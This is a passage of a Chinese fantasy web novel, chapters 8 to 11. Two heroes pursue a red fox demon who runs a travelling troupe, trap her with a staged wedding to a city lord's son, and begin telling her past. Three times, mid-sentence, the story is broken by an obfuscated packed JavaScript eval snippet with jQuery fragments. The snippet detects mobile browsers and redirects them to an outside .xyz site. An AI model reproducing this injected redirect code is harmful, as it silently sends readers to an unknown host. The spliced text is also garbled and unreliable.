贺今羽将原话告之之后,祝来月再度看向康行渡,发现他的脸色在听完侍从那句话时变得极差,竟然比刚冲进来时看登徒子的面色更差。
祝来月同他小声讨论,“这赤衣百戏班像是十分傲慢的,怎么还会给人发请帖呢?”
这些疑惑,或许只有问康行渡本人才能知道了。这时也吃得差不多了,两人相视一眼,出了花间楼。
康行渡最喜欢花间楼的饭菜,尽管这里也有外送服务,他身为城主之子,大可不必屈尊降贵地时时来此。
可他几乎是风雨无阻的,只要没被父亲关禁闭,几乎是日日都来。
荣州城中,无人不知少城主的心思。
用膳后,康行渡照旧先和窦娘道别,然后带着一众侍从大摇大摆地从花间楼出去。
这刚出去没走几步吧,只见一玄色身影以极快的速度闪到了他们的面前,等康行渡反应过来时,脖子上已经架着一把剑了。
8. 赤衣
侍从们连忙冲上前,将那袭击之人团团围住,但这似乎并未给那人造成半分威慑。
侍从们不敢轻举妄动,毕竟那人手上掌握着自己主人的性命,尽管架在他脖子上的剑甚至没有出鞘,但那人给人的威压却使人透不过气来。
这时,不知从哪里走出来一个女子,只见她容貌出众,即使翻遍了繁华的荣州城也找不出一个能比她更美的人,这让本来就很懵的康行渡更愣了,不知到底是什么情况。
那女子走进侍卫的包围圈里,奇怪的是,那群侍卫在她面前似乎都呆住了似的,竟还给她让了条路出来。
“贺公子,你吓着他了。”只见那貌美女子很是温柔地说道。
贺今羽收了剑,什么也没说。他不过是想看看那样大放厥词的人有什么样的身手罢了。
少城主咽了口口水,“两位大侠若是劫财,本少可以给你们,何必动手动脚的呢?”
见面前两人并无反应,他有一种不好的预感,磕磕巴巴地说:“难不成……是……劫,劫色?”说着,他连忙双手交叉捂住胸口。
祝来月不禁莞尔,“少城主果真风趣,我们并无恶意,还请少城主原谅。此外还有一事相求。”她拿出景怀卿给他们的剑穗,康行渡看了之后,立刻明白了。
“原来你们是景大哥的朋友,那自然也是本少的朋友了,有什么事但说无妨。”康行渡将他恐吓自己的事一笑置之,倒是十分大度。
她拿出木雕残片,给康行渡辨认,他觉得有些眼熟,又想不起在哪里见过了。
祝来月只好再问关于赤衣百戏班的事,谁知他脸色一变:“你们若是对她感兴趣的话,我有张请帖可以送给你们,但我是不可能和她搭上关系的。”
他的态度十分坚定,更让祝来月好奇其中有什么缘故。
只听康行渡说,这赤衣百戏班的班主根本不是人,而是一只修为深厚的赤狐,名叫胡媚儿。自他记事起,那只赤狐就经常缠着他,无论请多少捉妖的侠士都捉不到她。
说到此处,他一拍手,哎呀一声,忙道:“我想起来了,这残片我见过,那赤狐身上就有一片。”
这下一切都对得上了。
携带残片,逃匿速度极快,看来今天夜里必须去会会这个来无影去无踪的赤衣百戏班了。
知道他们的目的后,康行渡带他们去了城主府,安排他们这段时间就在城主府住下即可,这也省去了他们在外找客栈的功夫。
同时,康行渡还让侍从将赤衣百戏班的请帖取来,赠予他们,在请帖上写了表演的具体时间和地点,落款是胡媚儿。
这一系列动作都是他命令府内侍从完成的,而这位嚣张跋扈、肆意张扬的少城主本人则是在听到贺今羽自报家门之后就偷偷溜走了。
不知是否是因为想起某些时候说的狂妄之语才有些心虚吧。
夜里,因赤衣百戏班前些日子就在城中宣布过表演一事,百戏班早订好的戏台下几乎是座无虚席。
贺今羽和祝来月来到时,门口迎客的小厮面带歉意地笑道:“两位客人来晚了,此次表演已经客满,下回再来吧。”
虽然早就知道赤衣百戏班名声显著,却不曾想这竞争如此激烈。“此时应当是准时,怎么已经客满了?”祝来月问道。
“客人是头回看赤衣百戏班的戏吧?里头的看官都是前些日子一宣布表演之地时就来此地排了队的,您准时来自然是没有座位来。”
好在他们早有准备,将康行渡给的请帖给小厮看过之后,他明显不知该怎么决断似的,对两人说请稍候。毕竟他只是在戏台作营生,并不隶属于赤衣百戏班。
这前面来的人也没见有请帖,眼前这两人神色自若,不像作假。他只好进去找主顾——也就是赤衣百戏班的班主——胡媚儿,请她裁定。
胡媚儿正在同戏班子里其余人做着上台前的准备,只见那原本该在门口看门的小厮冲了进来,手上还拿着她赠予少城主的请帖。
“班主,门口来了两个人,他们给了小的此物。”
小厮将请帖呈上,胡媚儿打开一瞧,正是她下的请帖,丝毫不假。
原本不觉得他会来的。
胡媚儿喜出望外,连忙问道:“可是少城主来了?快请他进来。”
“班主,并非少城主,那两人瞧着像江湖中人,您不妨亲自去看看?”小厮表示自己实在拿不定主意。
祝来月和贺今羽并没有等太长时间,就看见一个穿着赤色衣衫的女子走了出来,那赤衣实在是很张扬的颜色,即使夜幕笼罩之下,依然十分夺目。
这一点倒是同那个肆意张扬的少城主很像。
而她的腰间赫然是那块残片,与祝来月的如出一辙。
“你们是谁?”胡媚儿也不拐弯抹角,开门见山地问道。
祝来月自然也不同她含糊,也是直截了当地回道:“我等是康少城主之友,久闻赤衣大名,心生向往,幸得康少城主慷慨赠帖。”
对面那赤衣那双灵巧的双目转了转,似是在思考什么,很快,她便又说道:“可你们有两个人,请帖却只有一张。”
言下之意也很明确,那就是:进去可以,但是只能进一个。
祝来月想着贺今羽身手更好,正欲开口让他进去时,却被胡媚儿打断了。
“这位公子看着有些冷酷,怪唬人的,恐怕要吓跑了看官们,还是姑娘进来吧。”
她虽然说得像是调侃,但眼神却如同兽物一般流露出凶意,明显是在警告他们。
为了避免打草惊蛇,两人相视一眼,只好同意了胡媚儿的决策。
贺今羽只能在外面暗中埋伏,静待时机。
进去时,祝来月还不忘记试探胡媚儿,她问道:“胡班主似乎同少城主交好,这也不是头回给他下请帖了吧。”
“他对你倒是说了不少事。”胡媚儿嗤笑一声,“他不是日日缠着那不知来历的酒楼掌柜么,怎么还有时间交旁人为友了?”
祝来月似笑非笑,并未答话。
赤衣百戏班的表演倒是没什么特别的,寻常的吞刀、吐火,与民间的百戏并无多大的差别,不过是他们个个都极为熟练,几乎让人看不出破绽,在民间可以称得上是极好的表演了。
可这些远远不足以解释赤衣百戏班在江湖中的显赫名声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840329|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直到胡媚儿上场时,台下的看官们才屏息凝神,紧紧盯着她的一举一动。
她先是展示双手,众人看清了她手上并无一物后,只见她翻了几个空翻,竟然不知从何处飞出许多鲜花来。接着又是鸟、兔子等凭空出现,甚至还有人突然出现。
原本众人猜测是一种纳物的灵器,直到见到活物的出现,又使众人失了头绪,因为纳物的灵器是无法装载活物的。
毕竟世上没有无中生有的法术,可无论如何也瞧不出什么端倪。
一场新奇的大变活物加上她袅娜动人的舞姿赢得了许多的掌声。恐怕这些人是冲着搞清这神秘之处而来的。
倘若真的可以随身携带活物,轻则带灵宠出行更加方便不说,更重要的是能将许多人带着,在群战之时,能起到出其不意的效果。一个人就是一支军队。
可是谁也看不出她究竟是怎样做到的,抓住她更是江湖中数百年来都未有一人成功过。
表演结束后,祝来月本想找她再试探试探,结果竟然片刻之间就找不到半分踪迹,就连在外望风的贺今羽也没察觉出异样。
这次行动显然是失败了,好在祝来月准备了后招,为了避免她逃走,方才已经在她身上撒了些引路香。
这种香出自琼心门之手,是她们对外售卖的香料之一。引路香无色无味,唯有在吸入另一种与之搭配的万清香时,就能够清晰地闻到引路香的味道了。
尽管引路香十分昂贵,寻常人家根本买不起,但在天下第一宗的雄厚底蕴下还是算不得什么的。
两人随着香的指引来到荣州城郊的一处林中,此处遍布鲜花,旁边还有一片小湖泊。
再前进些,他们就看到一片空地上出现了一座木屋,看上去与周遭环境格格不入,像是忽然出现在这里的。
木屋里有一些人,都是赤衣百戏班的,他们趁有一人去湖边打水时袭击了他,准备盘问关于胡媚儿的细节,正所谓知己知彼百战不殆。
不过贺今羽认为这样做太浪费时间,不如直接进去以最快的速度解决狐妖,接着把风栖取回即可。
但在祝来月的坚持下,他还是照做了。
可惜那人对班主很是忠心,审讯过程中无论她是威逼还是利诱他都毫不妥协,闭口不言。
贺今羽见状,二话不说,抽出白羽剑就向木屋而去,等祝来月反应过来时,他已经潜伏在木屋的屋顶之上了。
她忍不住腹诽他的冲动,毕竟此行,她根本没有打算可以将那狡猾的赤狐一举拿下,而是另有谋划。
她想到江湖中关于赤狐的评价,几百年来与之交手者中不乏像贺今羽这样的高手,可他们拿她没有办法一定是有原因的。
但眼下她也只能揣揣不安地等待着贺今羽的结果。
唯一一件好消息就是,起码他还记着要遮面。这样也许不会打乱她的计划。
眼见贺今羽即将潜进木屋,祝来月忽然感到头部一阵剧痛,是钝物击中了头顶。
她回头一看,那被劫持的人不知何时挣脱了绳索,他手上颤颤巍巍地举着一块比脑袋略小些的石头,在林中昏暗的月光下看不清他的神情。
9. 上巳
显然他从来没干过这种事儿,没有掌握好力道,使得祝来月并没有被砸晕。
她强忍下头顶的剧痛,用贺今羽留给她防身用的短刀向他毫不犹豫地刺去。那人很有几分胆小,见了闪着锋利白光的刀子,一下子就忘记了眼前这个女子已经被他重击过,几乎是没有什么还手的余力的。
看着那人逃跑的背影,祝来月无力再去追逐,她昏昏沉沉地站了起来,脚下的步伐虚浮,她想去找木屋的方向,看看贺今羽怎么样了。
可是视线似乎很模糊,再加上林中夜间的光线微弱,她实在看不清方向。
她并没有走多久,就闻见一阵花香,她隐约想起了这里是什么地方。想着错了路,想回头时便终于没有了意识,昏倒在一片花海之中。
再度醒来时,她发现自己躺在床上,这里既不是城主府的房间,也不是荣州城郊的那片花海。
这间卧房很干净素雅,没有过多的装饰,却让人感觉很温暖。
屋子里摆了一张桌子和三张圆凳,其中一张圆凳上坐着贺今羽,上半身趴在桌子上睡着了,看样子是在这里守了一夜。
贺今羽是个很警觉的人,他听见祝来月起身的动静,很快也醒了。看着半倚着床的祝来月,他道:“你醒了,伤口我替你上过药了。”
祝来月这才察觉到自己头上绑了细布,她向他道谢,想要问关于昨晚的情况,贺今羽主动说了昨晚的事:
“昨夜是我判断失误,抱歉。”
他说出昨夜潜入木屋后的情景,旁人都不堪一击,顷刻之间,他就无声无息地收拾了个干净。
然后就去找胡媚儿,谁知一碰了面,还没过上两招,她忽然掏出一个大约拇指大小的琉璃瓶子,将她的手下们连整个木屋都装了进去,然后飞快地跑了。
果然名不虚传,纵然是将千里快哉风练得炉火纯青的贺今羽也还是没能赶上她的步伐。
无功而返,他回到原地时发现祝来月和人质都不见了,这让他一下子就明白出了事。他四下搜寻过后,找到了倒在花海中的祝来月,人质倒是不知所踪。
花海中还有另一个女子,也是他见过的。
花间楼的掌柜窦娘,本名窦然,偶尔会在城郊的花海采摘鲜花装点酒楼。
昨夜正巧碰上了受伤的祝来月,她闻见浓浓的血腥气,正准备将血腥气的源头背着回酒楼救治时,贺今羽就出现了。
“你是谁?”
那人转过身,只见她的双目无神,恰似今夜被乌云笼罩的明月一般,贺今羽知道她的身份后仍未放下警惕,当她表明她常来此地采摘鲜花,言语诚恳不像谎话,他暂且放下警惕。
他原想将她带回城主府,又想到此时是半夜,去那里恐怕不太方便。在窦娘的提议下,他背起祝来月,在窦娘的带领下走了条通往花间楼的近道。
贺今羽给她的伤口做完处理后,他发现窦娘背起采花时用的竹筐又要出门,他不解,窦娘解释道:“今夜的花似乎与往常不大一样,更加繁茂清香,正适合酿酒。而且今日是上巳节,多备些鲜花热闹。”
为了报答窦娘的收留之情,他跟着她一起去了城郊。到达之时,他忽然发现这片花海的变化,在他和祝来月第一次路过的时候还只是没过小腿,这会再来就已经齐腰深了,这样的生长速度委实可以称得上是疯长。
他根据窦娘教的方法飞快地摘下鲜花,发现窦娘的速度竟然不比自己的慢多少。
像是察觉到他的意外似的,窦娘一边采摘,一边说道:“觉得我不像眼盲是吗?其实像这样做同一件事七百年,无论是什么都会熟练得像呼吸一样,熟练了,自然也快了。”
“所以你果然如传言般从七百年前活到了现在?”
这一次窦娘并没有回答他。
听完昨夜发生的事,祝来月有些理不清思绪。
“总之当务之急是要回去城主府,今日是上巳节。”
贺今羽同意了她的说法,所幸那个人质砸得还不算太狠,敷了贺今羽的药后,她已经大好了,到了晚上应当可以拆了细布,也不会耽误事了。
这时,门外响起了敲门声,贺今羽开门之后,发现是窦娘带了些早膳来,祝来月连忙道谢。
却见窦娘放下早膳后摇了摇头,说道:“你们是少城主的朋友,我欠他的人情总是还不清的。”
祝来月自然明白她话中的意思,康行渡出于他自己的感情而尽他所能地对窦娘好,而对于这样的满腔真心,若不是回馈以同样真挚的感情是无法平衡的。
而今窦娘坦然地说出“还不清”三字也表明了她的态度。
他人的意愿实在不是祝来月能够左右的,何况她也向来不喜欢管这等闲事。只是不能愧对于窦娘的善意,她于是向窦娘承诺愿意劝劝康行渡。
早膳过后,他们向窦娘道了别,在此之前,祝来月也问了她关于长生的事,与旁人想的不同的是,她很好奇这七百年来窦娘的所见所闻,为何从未想过要离开荣州。
诚然,祝来月是想要恒久的寿命的,可她也明白窦娘不可能告诉她。
第一个问题,窦娘表示,若是有缘,待她再来花间时还想知道这个问题,她就会斟一壶甜酒,讲讲她所记得的最深刻的事。
至于第二个问题,窦娘则是缄口不言,祝来月也识趣地没有追问,倒是将那一小坛子从家里带来的芳菲酿赠予窦娘。
她揭开封坛的盖子浅浅闻了一下露出陶醉的神情,窦娘是个爱酒之人,欣喜地说道:“这酒里桃花的芬芳馥郁远胜其他桃花制的酒,姑娘家中的桃花想必是极好的。”话音刚落,她的神色略微有些落寞,又很快再次微笑:“多谢姑娘相赠。”
回到城主府后,二人先去见了城主大人,询问关于夜里上巳节庆典上的那件事,康行渡那边是否松了口,同意配合。
城主道:“犬子虽不情愿,但想到二位承诺的可以保证此生不受赤狐所扰,自然还是同意了。”
万事俱备,只差庆典。
上巳节,别名春浴日,城主对他们说道:“今日城外诸多百姓踏青,亦有祓禊仪式,两位不妨同犬子一并出游,感受暮春时节万物生发的好风光。”
止吴山每逢上巳日也有一些习俗,不过不似荣州这般热闹,而灵霄宗从无过节的习惯,除了惊蛰日会庆祝以外,旁的节庆一概不重视。
三人一同来到城外郊处时,看着一片熙来攘往的热闹景象,唯独康行渡习以为常,另外两人皆有些意外。
康行渡作为荣州之人,自当承担起地主之谊,他引领两人来到祓禊仪式举行之地,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840330|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在小溪边有一棵高大的柳树,树底下站着一位身着深衣的巫女。在她的面前摆放着一张长案,案上有着几根柳条和一碗浸了兰草的水。
在祓禊仪式举行的地点围绕了许多的百姓,他们依次有序地排着队,先在溪畔濯洗身体,再上前让巫女用沾了水的柳条轻点头部,此乃祓禊。
康行渡虽是少城主,但也和所有百姓一样排队,并不行使特权。祝来月和贺今羽排在他的后面,照猫画虎地进行了祓禊仪式。
仪式结束之后,三人又一同在郊外踏青赏景。
行至一片大片盛放的垂丝海棠林时,几人瞧见树下不少的青年女男在此地游乐,或踏歌而舞、或对弈手谈。
在花影绰绰之间,还能看见几对单独而行的人,其中不少女子手中拿着一支如火般艳丽的芍药,眼神闪烁,耳根微红,显然是一对对有情之人作伴。
康行渡见状,解释道:“这也是荣州城在上巳节的习俗之一,芍药定情。彼此有情之人皆会在此日赠予对方芍药以定情。”他忽又想到什么似的,连忙跑到最近一处的芍药花圃,摘取一朵盛开得最好的芍药,极尽妍态。
“你们自己逛会儿吧,本少突然想起来还有点事要处理。”
祝来月看见他手中难以遮掩的鲜艳芍药,心下了然,微一皱眉,暗暗说道:“少城主,别忘了我们的计划,你此时去花间楼,极有可能……”
她不及说完,不知从哪冒出来了一群侍从,其中还有康行渡的父亲——荣州城城主,城主顿时一喝:“胡闹!往日我纵容你与那掌柜厮混也罢了,眼下什么情况你不知道吗?”
说罢,城主大人扯着儿子的耳朵、领着一大群侍从走了。
那朵芍药掉在了地上,祝来月上前将它拾起,看着这幅情景不禁失笑。
“可惜了这么好的花。”她说道。
待到夜幕渐渐降临,天边将暗未暗,太阳的余晖透过火烧似的晚霞洒向街道,城中正在举办庆典,每个人的脸上都红扑扑的,看上去很喜庆。
祝来月对这种繁华的庆典只在书中见过描写,所以很有兴趣,在宣布那件事之前拉上了贺今羽在城内四处逛逛。
起初贺今羽很是不愿意,人多的地方他总是应付不来,但看见祝来月似乎逛得很是开心,竟然不忍拒绝。许是因为他身手敏捷,祝来月带他参与了不少摊位的投壶比赛,轻松夺得了头筹。
每一回赢了之后,除了特定的奖品,摊主还在他们的发髻上簪了鲜花,没一会儿,他们头上就已经满是花朵了。
祝来月看他那张没什么表情的脸配上这满头的芬芳,实在觉得很别扭,就把自己头上的和他头上的花全都拔了收集成一簇。此时手上已然有了很多东西。
其实她倒不喜欢这些玩意儿,只是今日早晨未璃借景怀卿之手给他们捎了信,信中写道她已经到了灵霄宗,宗主很喜欢她,说她天赋异禀,收她做了关门弟子。
但是训练有些枯燥,再加上思念姐姐,所以偶有悲伤的情绪。
祝来月想将这些都带给她玩一玩,兴许能缓解些难过。贺今羽有纳物的灵器,将它们收了起来,所以也并不费事。
正在她看中一只珠钗,觉得很适合未璃时,贺今羽突然捂住她的嘴往房顶一闪,速度快到几乎没有人察觉。
10. 成亲
确定祝来月不会叫喊后,他就松开了手,只是他仍旧一直望着街道上某一处,神态紧张,仿佛在戒备些什么。
“怎么了?”
“那是父亲的朋友,认得我。”
“那又如何?”
贺今羽未答,仍旧盯着那个人。
此地江湖中人往来频繁,像贺今羽这种地位很高的人遇到那么几个熟人再正常不过了。
“莫非你怕长辈?”
贺今羽还是没有回答。
祝来月又问:“那是惧怕熟人?”
“寒暄太麻烦。”贺今羽镇静地说,直到看到那个人出了视线范围之外,他才带着她跳下屋顶。
时辰也差不多了,两人赶往城中最高的楼台——木樨台,和康行渡他们作汇合。
这时康行渡已然等了有一会儿了,看到他们姗姗来迟,抱怨了几句,就掏出来一个螺号状的灵器,道:“这个是有扩音之效的灵器,用这个说话,方圆百里都听得一清二楚,最重要的是,离得近的人也不会因此被震到耳朵。”
木樨台有数丈之高,在此之上可以看到整个荣州城的景象,看着底下人流涌动。
康行渡举起螺号,对着它说:“诸位荣州百姓、游侠们,本少是城主之子康行渡,在这个热闹的节庆,本少想宣布一件喜事。”
“那就是本少要成亲了,就和我身边这位祝来月祝姑娘,我们一见如故,喜日已经定下,就在半个月后,届时,城内所有酒都由城主府买下,诸位可以尽情畅饮。”
这段话立刻传遍了整个荣州城,只要在荣州城内,无论任何人在做任何事,在听到这话时都停下了手上正在做的事。
但少城主所做的还不尽于此,他吩咐了城主府所有的侍从,在城内各处待命,只等他宣布完这件事后,每个侍从都会在城内向所有人强调这件事,生怕有人不知。
无论是上至八十好几的老人,又或是牙牙学语的孩童,都会被他们拦住,隆重宣布这件喜事。这样的情景,哪怕是路过的鸟也要被抓着听完这件事才能飞走。
城内顿时比方才还要更热闹一百倍,祝福声、疑惑声、甚至还有向来和康行渡不对付的其他公子哥的诅咒声,这些声音不绝于耳。
祝来月瞧着状况,不禁有些担心,这样高调地宣布这件事,会不会太过刻意?摆明了要全世界知道似的,那赤狐狡猾,万一看破这个陷阱,不来了,岂不是白忙活一场。
康行渡却不以为然:“很张扬么?本少还嫌不够呢。”
他想着若是有一日窦娘能明白他的心意,接受他,他保证会比这还要张扬一千倍一万倍。
得知这件事的酒楼掌柜们是最开心的那一批人,毕竟半个月后就可以发大财了。
“少城主破费了,我们定然不会辜负你的期望。”
康家富可敌国,这些小钱根本没放在心上,康行渡摆摆手,“没事儿,只要从今以后狐妖不会再缠着本少,花多少钱我爹都乐意。”
原来祝来月得知赤狐极善于逃匿之后,就明白对付她只能靠智取。康行渡给他们提供的关于赤狐的情报让她知道,目前唯一能利用的赤狐的软肋就是康行渡本人。
听说他从小无论大病小病,赤狐都会溜进城主府去看他,但出现得总是不合时宜。
比方说睡得迷迷糊糊时突然出现一张狐脸啦,又比方说夜里起来如厕时狐狸半蹲在房梁之上啦。许是狐狸用错了方式,康行渡对狐狸留了不太好的印象。
后来有一回,荣州难得下了场大雪,赤狐又溜进来把康行渡抓到了野外,说要同他一起赏雪。
从那时起,康行渡才明白赤狐并不是捉弄他,而是对他有别样的心思。可是人妖殊途,康行渡又很怕她那张狐狸脸,实在不想再见到她。
半月之期很快就到了,这些日子城主府上下都在张罗这场婚事,使这个圈套格外逼真。
到了喜日那天,侍女正在给祝来月簪上各式的金步摇和珠钗,贺今羽守在旁边。
她看上去并不像一个新娘子,面上忧心忡忡,说实在的,她很担心那天晚上跟去打草惊蛇了,说不定赤狐根本就不会来。
贺今羽也看出她的心事,竟破天荒地安慰了她一句:“不必忧心,即使她不来我也一定会解决她。”
这句话无疑给了祝来月一些信心,在这段时间的相处中,她知道贺今羽不是那种逞能之人,既然他说了有办法,那么即便追到天涯海角,他都一定会把赤狐找回来。
“你也去做准备吧。”她对贺今羽说。
城主担心今日赤狐来了之后会误伤到他的宝贝儿子,于是拜托贺今羽易容成康行渡的样子替他成亲。
贺今羽也有此意,毕竟对方的修为深不可测,哪怕祝来月耗费了半个月的时间在整个城主府内布下阵法,贺今羽也不认为自己一定能保证无关人员的安危。
他与敌人对阵时,只习惯独自面对。
贺今羽嗯了一声,去了另一个房间换上喜服,然后又施展了易容之术,真真是没有半点破绽,康行渡本人来了看到还以为是照镜子,连连称赞。
“贺大侠,你这招太厉害了,我能学吗?”他眨着眼睛,满怀期待地看着这个和自己一模一样的人。
但贺今羽毕竟不是真正的他,“宗门秘法概不外传,想学明年去灵霄宗参加惊蛰试,通过你便是灵霄宗弟子。”他一副公事公办的样子。
康行渡觉得无趣,自觉离开了。
后来喜婆来通知吉时快到了,外边宾客也来得差不多,赤狐却仍然没什么消息。
恐怕她真的不会再来了。
城主来找他们商量,有取消这场喜宴的意思,宾客都是提前知会过的,临时取消也不会影响城主的名声。
祝来月和贺今羽都犹豫了一会,直到喜婆第二次来催促拜堂的时辰时,他们才下了决断:
“拜堂。”
必须演完这场戏,那么多东西都准备就绪了,不能白费。今天无论如何都要在这里解决狐妖。
他们来到喜堂,城主夫妇已经提前坐在上座了,喜婆站在一旁,道:
“一拜天地。”
城主府的大门处已经没有新的来宾了。祝来月和他朝向堂外那一方天地,此刻正是黄昏之时,天边那赤红色的太阳渐渐西沉,将它最后的炽热投向大地,两人做了一个很标准的拜堂礼。
“二拜高堂。”
他们再度转身,面朝着城主夫妇行礼。在决定成亲之前,他们也曾考虑过是否会影响康行渡和祝来月的名声一事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840331|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
不过此地似乎民风开放,康行渡并不在意这类事,起初有些顾虑也是因为担心窦娘会介意。至于祝来月更是不在乎他人眼光。
“夫妻对拜。”
贺今羽是定有娃娃亲的,对方是医药世家的长女聂琴机,他并没有见过她几面,贺家与聂家向来是姻亲,作为灵霄宗的少宗主更是没有自己选择的余地。他忽然很想看看她此刻的表情,可是那张近乎完美的脸藏在了红色的盖头下。
“我来得不算迟吧?”
明媚清亮的声音打断了他的胡思乱想,抬头望去,来人正是他们准备了半月有余所等待的狐妖。
城主夫妇脸色微变,侍从根据指示安排了胡媚儿入座。祝来月表面上是根据原定的流程回到喜房等待,实则是来到后院,悄悄开启了大型锁妖阵的枢纽。
天下阵法可以统分为天地玄黄四级,锁妖阵并不算什么多厉害的阵法,仅仅只是玄级,对一些妖力强大的大妖能起到的效果甚微。
但这种玄级阵法根据她的改进变得比原先的锁妖阵更无声无息,也更加有效。再厉害的妖物也会神不知鬼不觉地被困在这个阵内。
这就是她半个月以来在做的全部事情。
接下来要做的就是将胡媚儿引到后院,再将宾客疏散出去,避免误伤。
贺今羽此刻正在前厅敬酒,这是整个环节他最难以接受的部分。
因为他一边给宾客们斟酒,一边还要同他们说些客套话,而且他必须模仿出康行渡那种张扬不着调的个性,否则很容易引起赤狐的怀疑。
他勉强撑下来整个流程后,终于敬到了胡媚儿所在的那一桌子,他必须得找机会把她引开。
正当他一边向胡媚儿敬酒,一边想着该说些什么时,对方却抢了先,道:
“我此来匆忙,并未及时备礼。少城主既然拿我当朋友,敬我一杯酒,我自然也该还少城主一支舞,聊赠心意,还望少城主同意。”
他猜不透胡媚儿的想法,于是点了头,准备静观其变。
胡媚儿大方地一笑。她今日仍旧穿着最爱的红衣,有喧宾夺主之嫌,像极了要抢亲的模样。
侍从正准备将台子收拾出来,供她一舞,可她却拒绝了。下一刻,她飞身跃起,站在了屋檐之上,明月初悬,此刻望去竟像是在她身侧一般近在咫尺。
康行渡也在这里,只不过他穿了侍从的衣裳,躲在难以察觉的角落里。他望着邀明月而舞的胡媚儿,竟然有一种似曾相识的熟悉感。
说起来,从记事起,他的生活里就有这只赤狐了。可是赤狐为什么那么在意他呢?他翻遍脑海也找不出半个吸引赤狐的理由。总不会是贪恋他康家的滔天富贵吧?连康行渡自己都觉得不可能。
正值暮春,最是乍暖还寒时候,夜间微凉,不知何时刮起了一阵大风,那赤红色的身影在风中像是一朵鲜艳而快要凋零的花,可她却那么坚韧,风吹不跑她,她依然舞着。
她望向身穿喜服的“康行渡”,想到已经有很多很多年没有见他穿这样喜庆的衣服,也是很多很多年,没有为他再跳一支舞了。
胡媚儿和康行渡的故事要追至几百年前,当胡媚儿还不是千年之妖时,当这个江湖中的主导势力不只是三宗而是七派时。
11. 绮罗
胡媚儿生自青丘,媚儿是艺名,本名是绮罗。
青丘狐族分为两脉,一脉善于情力和幻术,它们天生妩媚多情,另一脉能谋善断,修炼速度奇快,唯独在情感上很是迟钝。
绮罗在两脉都属于另类,因为她是个混血,父亲属于第一种,母亲属于第二种。
听说父亲当时是整个青丘情力最强的狐狸,无数狐狸对他一见钟情,拜倒在他的情力之下。母亲则是整个青丘妖力最强的狐狸,最有望修成狐仙,位列仙班。
可强大的妖力换来的是一顶一的迟钝,想当年魅力无穷的父亲日日献殷勤,锲而不舍地追了母亲近千年,母亲才反应过来他是喜欢自己而不是善良人好。
母亲怀上绮罗的时候,整个青丘都对这个结合两脉天才血脉的小狐狸抱有期待,可是很快它们就都失望了。
绮罗在情感上像母亲一样迟钝,修炼的天赋却像父亲。青丘的族长狐狸日日夜夜叹息,以为青丘终于要出一个绝世奇才,却被绮罗扼杀了这个希望。
但绮罗终于还是擅长了一件事——逃跑。
跑得不够快就要被严厉的族长教训她妖力进步太慢,她简直听得狐狸耳朵都要起茧子了,忍无可忍无需再忍,她冲着族长这只老狐狸做了个非常夸张的鬼脸,然后就离开了青丘。
虽然母亲和父亲并没有要求她必须要有多厉害,可是青丘的狐狸们实在是太烦人了,逃离青丘的那天晚上,她在心里偷偷地和母亲父亲道歉。
但是她终于自由了,那年她两百来岁,两百多年都没有那一天那么幸福过。
胡媚儿迎着明月与夜里的疾风,仿佛回到了两百多岁那一年,逃跑时呼啸而过的风比现在要强烈多了。
当时江湖中人才辈出,修炼世家分为七派,后来四派渐渐没落,只留下如今的三宗:灵霄宗、震云派和琼心门。
当时的天下第一宗还不是灵霄宗,而是以绝对的力量和强健的体魄出名的震云派,几百年来一直争夺天下第一宗的宝座使得两方势同水火。
震云派当时也有一个天才,叫羿无烟,很是厉害,仅凭□□力量,不借半分灵力就可以震碎战争中用来御敌的城墙。据说震云派成立以来都没见过这样厉害的天才。
绮罗头一次听说人间还有这种怪物时,吓得连馒头都噎着了,暗自决定看见震云派的人一定要绕道走。
初入人间时,绮罗没有人的货币,饿了好几天肚子,为了她走遍天下的远大理想,她决定偷点吃的。她庆幸她起码还有一个跑得快的长处,否则被抓住了估计也很难跑掉。
原本一切都很顺利,饿了偷吃的,困了睡树上,渴了喝溪水,直到有一天她被人抓住了。
绮罗从来没想过她竟然会被抓住,要知道,整个青丘没有一只狐狸跑得过她!
那人出手并不算快,但是拳劲刚猛,绮罗跑得再快都逃不出他那一拳。被那人打晕再醒来时,已经被他绑起来了。
面前这人长得很是秀气,像个文弱的书生,身上穿着鲜艳的衣裳,看着很富裕。
绮罗瞪着他,毫无自己才是贼的心虚之意:“你是谁?”
那人也非常配合地回答了这个问题:“我是京城最有名的乐师。”
她想了想,根据这些天在人间的所见所闻大致理解了乐师是什么意思,她又问他:“报上名来!”她学着说书先生口中的大侠的语气,希望这能使她看上去威猛一些。
乐师却笑了,好像觉得这样很幼稚似的,但他还是非常配合,“我叫羿无痕,你呢?”
